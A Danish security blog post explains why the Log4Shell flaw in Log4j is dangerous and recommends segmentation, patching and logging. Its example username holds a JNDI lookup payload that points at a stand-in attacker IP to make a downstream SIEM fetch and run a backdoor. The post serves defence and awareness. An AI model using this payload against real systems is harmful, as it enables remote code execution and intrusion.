Hvorfor skal vi reagere på Log4j-sårbarheden?

Log4j-sårbarheden (log4shell) kan være en svær mundfuld at sluge. Hvorfor er den egentlig så farlig?

  1. Den kan give adgang til et system ved, at Log4j-softwaren lokkes til at downloade og eksekvere kode.
  2. Hvis din perimeter er patchet eller ikke sårbar, så kan sårbarheden potentielt stadig udnyttes til at slippe forbi dit yderste forsvar mod internettet – se eksemplet herefter.

Kort fortalt, så er sårbarheden farlig, fordi den kan ramme bagvedliggende systemer. Hvis du har flere systemer, som er integreret og snakker sammen, kan det være langt ude i en kæde af integrationer, hvor sårbarheden opstår.

Her følger et simpelt eksempel:

  1. Jeg logger på min VPN-gateway med brugernavnet ${jndi:[ldap]://<min-farlige-ip>/minfarligesoftware]}.
  2. Min VPN-gateway bruger ikke Log4j, så den er ikke sårbar, men forespørgslen bliver sendt videre til en RADIUS server.
  3. RADIUS-serveren er heller ikke sårbar, men RADIUS serveren logger hvert eneste login mod et SIEM (Logs) system, som er sårbart.
  4. SIEM systemet downloader og eksekverer en bagdør, som efterfølgende giver adgang til alt, hvad dit SIEM system kan tilgå på netværket.

log4j

Det betyder derfor, at angrebet er sluppet uden om din perimetersikring, som ikke er sårbar, fordi dine logs bliver placeret på en bagvedliggende server. Hvis angriberen efterfølgende får adgang til logserveren, så kan den adgang bruges til at komme videre i netværket vha. lateral movement.

Din VPN-gateway og RADIUS server (alle assets i princippet) bør undersøges for, hvorvidt de er sårbare, men dette var et kort eksempel på, hvorfor Log4j-sårbarheden er farlig, og hvorfor det kan være svært at vurdere konsekvenserne af sårbarheden ved første øjekast.

Beskyt dig selv gennem segmentering, patches og logning

Hvis man derimod har segmenteret sin logserver, så den kun kan kommunikere med de ressourcer, som er nødvendige for, at den kan levere sin service, og alt andet skal afvises, så kan du begrænse skaden. Et kompromitteret logsystem kan i disse GDPR tider være meget seriøst, men skaden spreder sig ikke.

Du bør få dine sårbare systemer patchet, så snart det er muligt, da ændringer i dit system eller netværk fremadrettet kan gøre dig yderligere sårbar.

Der er dog en risiko for, at dine systemer skal patches flere gange for denne sårbarhed, da man løbende har opdaget flere potentielle sårbarheder i Log4j. Der er released 3 versioner af Log4j siden den 9. december, som alle retter forskelige sårbarheder i Log4j.

Derfor er det også fortsat vigtigt at logge, så meget som du overhovedet kan, fra netværket, servere mm., så hvis man bliver udsat for Log4j, så har I mulighed for at gå tilbage i tiden for at se, hvorvidt sårbarheden har været udnyttet.

Husk fra tidligere blogpost følgende råd:

  1. Opret en asset liste; Hvilke systemer er tilgængelige fra internettet eller andre usikre zoner så som gæstenetværk, og lignende.
    Spørg dig selv – hvordan kan sårbarheden komme ind i min virksomhed?
  2. Er der allerede en patch tilgængelig til dine assets? Få den installeret hurtigst muligt.
  3. Hvis du ikke allerede gør det, så slå fuld logning til på din firewall, dit netværk, dine servere, applikationer og services. Så kan vi se, hvad der er foregået, hvis du måtte være så uheldig, at sårbarheden er blevet udnyttet.
  4. Gennemgå aktivt dine logs for sårbarheden. Log-management systemer er nemme at søge i, og sårbarheden er set til helt tilbage til den 2. december.

Dine firewalls kan potentielt blokere for sårbarheden, hvis du dekrypterer din trafik. Se hvilke regler, der skal enables i den tidligere blogpost herunder:

https://conscia.com/dk/nyheder/kritisk-saarbarhed-i-apache-log4j/

Mere information

Citrix er kommet med en ny artikel, som vil gøre det muligt at yderligere mitigere udsatte Web-systemer. Det vil kunne implementeres på alle Netscaler ADC licenstyper, bemærk at SSL offoad skal være aktiveret på de respektive LB services.
https://support.citrix.com/article/CTX335705
Ændringer i din opsætning kan have impact på funktionaliteten. Hvis du er i tvivl, så kontakt Conscia.

Hvis du har yderligere spørgsmål, så kontakt Conscia og læs eventuelt tidligere blogposts: